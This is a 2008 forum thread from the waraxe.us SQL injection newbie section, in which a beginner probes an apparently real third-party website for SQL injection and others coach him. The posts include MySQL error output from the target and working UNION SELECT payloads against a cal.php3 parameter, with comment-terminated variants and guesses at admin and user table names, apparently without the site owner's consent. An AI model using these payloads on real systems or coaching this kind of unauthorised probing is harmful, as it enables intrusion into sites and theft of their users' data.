Login or Register :: Home :: Search :: Your Account :: Forums :: Waraxe Advisories :: Tools :: November 15, 2024 Menu Home Logout Discussions Forums Members List IRC chat Tools Base64 coder MD5 hash CRC32 checksum ROT13 coder SHA-1 hash URL-decoder Sql Char Encoder Affiliates y3dips ITsec Md5 Cracker User Manuals AlbumNow Content Content Sections FAQ Top Info Feedback Recommend Us Search Journal Your Account User Info Welcome, Anonymous Nickname Password (Register) Membership: Latest: MichaelSnaRe New Today: 0 New Yesterday: 0 Overall: 9144 People Online: Visitors: 65 Members: 0 Total: 65 Full disclosure SEC Consult SA-20241112-0 :: Multiple vulnerabilities in Siemens Energy Omnivise T3000 (CVE-2024-38876, CVE-2024-38877, CVE-2024-38878, CVE-2024-38879) Security issue in the TX Text Control .NET Server for ASP.NET. SEC Consult SA-20241107-0 :: Multiple Vulnerabilities in HASOMED Elefant and Elefant Software Updater Unsafe eval() in TestRail CLI 4 vulnerabilities in ibmsecurity 32 vulnerabilities in IBM Security Verify Access xlibre Xnest security advisory & bugfix releases APPLE-SA-10-29-2024-1 Safari 18.1 SEC Consult SA-20241030-0 :: Query Filter Injection in Ping Identity PingIDM (formerly known as ForgeRock Identity Management) (CVE-2024-23600) SEC Consult SA-20241023-0 :: Authenticated Remote Code Execution in Multiple Xerox printers (CVE-2024-6333) APPLE-SA-10-28-2024-8 visionOS 2.1 APPLE-SA-10-28-2024-7 tvOS 18.1 APPLE-SA-10-28-2024-6 watchOS 11.1 APPLE-SA-10-28-2024-5 macOS Ventura 13.7.1 APPLE-SA-10-28-2024-4 macOS Sonoma 14.7.1 IT Security and Insecurity Portal www.waraxe.us Forum Index -> Sql injection -> noob question View previous topic :: View next topic noob question Posted: Thu May 29, 2008 6:49 am Chedda Active user Joined: May 26, 2008 Posts: 27 I'm attempting to learn sql injection and have read a few tutorial and just trying to cover the basic. I tried to test to see if a website was vulnerable by using Code: and 1=0 I end up getting a 406 error; Quote: Not Acceptable An appropriate representation of the requested resource I have never seen this error does that mean its not vulnerable a little stumped, I have yet to try and go through with any actually injecting? Posted: Thu May 29, 2008 9:11 am tinman Active user Joined: May 11, 2008 Posts: 37 Would this be a vBulletin forum you are injecting into? Posted: Fri May 30, 2008 4:07 am Chedda Active user Joined: May 26, 2008 Posts: 27 tinman wrote: Would this be a vBulletin forum you are injecting into? actually no, but I have found something I think is more interesting. Have I stumbled upon a website that may be vulnerable? Quote: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1: 1064 Anyone have a "SQL injecting for dummies" type guide laying around? All the ones I have found on google are way over my head or extremely outdated. Not really sure where to go after I figure out the number of columns. Last edited by Chedda on Fri May 30, 2008 6:30 am; edited 1 time in total Posted: Fri May 30, 2008 6:18 am gibbocool Advanced user Joined: Jan 22, 2008 Posts: 208 Yes that error may be useful to find an exploit. Read on this forum for all the info on sql injection you need to get started. Read recent threads to see methods people use. There is a thread with links to info as well. Also here is a useful cheat sheet http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/ But before you start, you should read up on SQL and learn what it does and learn some basic commands and their syntax. For example, learn SELECT commands and all the options you can use like FROM, WHERE, HAVING, ORDER BY, GROUP BY, UNION. _________________ http://www.gibbocool.com Posted: Fri May 30, 2008 6:31 am Chedda Active user Joined: May 26, 2008 Posts: 27 Thanks I appreciate it. Posted: Fri May 30, 2008 6:51 am tinman Active user Joined: May 11, 2008 Posts: 37 Now that is a first class link! Thank you! Posted: Sat May 31, 2008 5:54 am Chedda Active user Joined: May 26, 2008 Posts: 27 Alight I have a very basic grasp on a few of the major commands. I know the version, how many columns, root@localhost, and other basically useless information. I'm still a little confused on a couple of errors I am receiving. The biggest problem is I don't know the name of the database, any suggestions on how I might go about finding it? 4.1.20 is the version. Anyway outside of that I am wondering about this; Code: /cal.php3?m=-1' UNION/**/ALL/**/SELECT/**/1,2/**/FROM/**/admin You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' AND msg_year='2008' AND msg_active=1 ORDER BY msg_day' at line 2: 1064 Where is the entire last part of this error coming from? Are msg_year, msg_active, and msg_day table or column names? Posted: Sat May 31, 2008 12:32 pm gibbocool Advanced user Joined: Jan 22, 2008 Posts: 208 ok well that last part is coming from the original query. You should comment that out like: Code: /cal.php3?m=-1' UNION/**/ALL/**/SELECT/**/1,2/**/FROM/**/admin--+ or Code: /cal.php3?m=-1' UNION/**/ALL/**/SELECT/**/1,2/**/FROM/**/admin/* Next, in MySQL version 4, you have to guess table names. try Code: /cal.php3?m=-1' UNION/**/ALL/**/SELECT/**/1,2/**/FROM/**/user--+ Code: /cal.php3?m=-1' UNION/**/ALL/**/SELECT/**/1,2/**/FROM/**/users--+ Code: /cal.php3?m=-1' UNION/**/ALL/**/SELECT/**/1,2/**/FROM/**/usertable--+ Code: /cal.php3?m=-1' UNION/**/ALL/**/SELECT/**/1,2/**/FROM/**/USER()--+ msg_year etc will be column names. _________________ http://www.gibbocool.com Posted: Sat May 31, 2008 5:28 pm Chedda Active user Joined: May 26, 2008 Posts: 27 ahhh thanks for clarifying. When trying to guess the table name its returning, Code: Table 'dotd.username' doesn't exist: 1146 What exactly is the dotd.? Is that the name of the database? root? the website is dotd.org so perhaps its for that? I don't understand that. Also on a side not are table names case sensitive? Posted: Sat May 31, 2008 5:42 pm pexli Valuable expert Joined: May 24, 2007 Posts: 665 Location: Bulgaria perhaps "dotd" is name of database. noob question www.waraxe.us Forum Index -> Sql injection You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum All times are GMT Page 1 of 1 All Posts1 Day7 Days2 Weeks1 Month3 Months6 Months1 YearOldest FirstNewest First Select a forumSecurity Research by waraxe----------------General discussionHow to fixMetasploit relatedHash cracking requests----------------MD5 hashesAll other hashesHash related informationhttp://www.waraxe.us portal----------------SuggestionsCooperation proposalsSecurity bugs and issues in general----------------Newbies cornerSql injectionCross-site scripting aka XSSRemote file inclusionFull path disclosureShell commands injectionPhishing and Social EngineeringAll other security holesVarious software----------------PhpNukePostNukePhpBBXMB forumvBulletin BoardInvision Power Boarde107MamboJoomlaXOOPSM$ WindowsLinux worldAll other softwareCoppermine Photo GalleryProgramming languages----------------PhpMySqlPerlJavaJavascriptC and C++Visual BasicBorland Delphi and PascalPythonHTML and XMLAssemblerReverse engineering----------------Newbies cornerDisassemblingPHP script decode requestsMiscellaneous stuff----------------Future of the ITNanotechnologyFun cornerLinksTry2hack sitesProxy databaseDirect Downloads----------------ToolsTutorialsWordlistsRecycle Bin----------------Removed messagesOutdated posts Powered by phpBB © 2001-2008 phpBB Group

Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.038 Seconds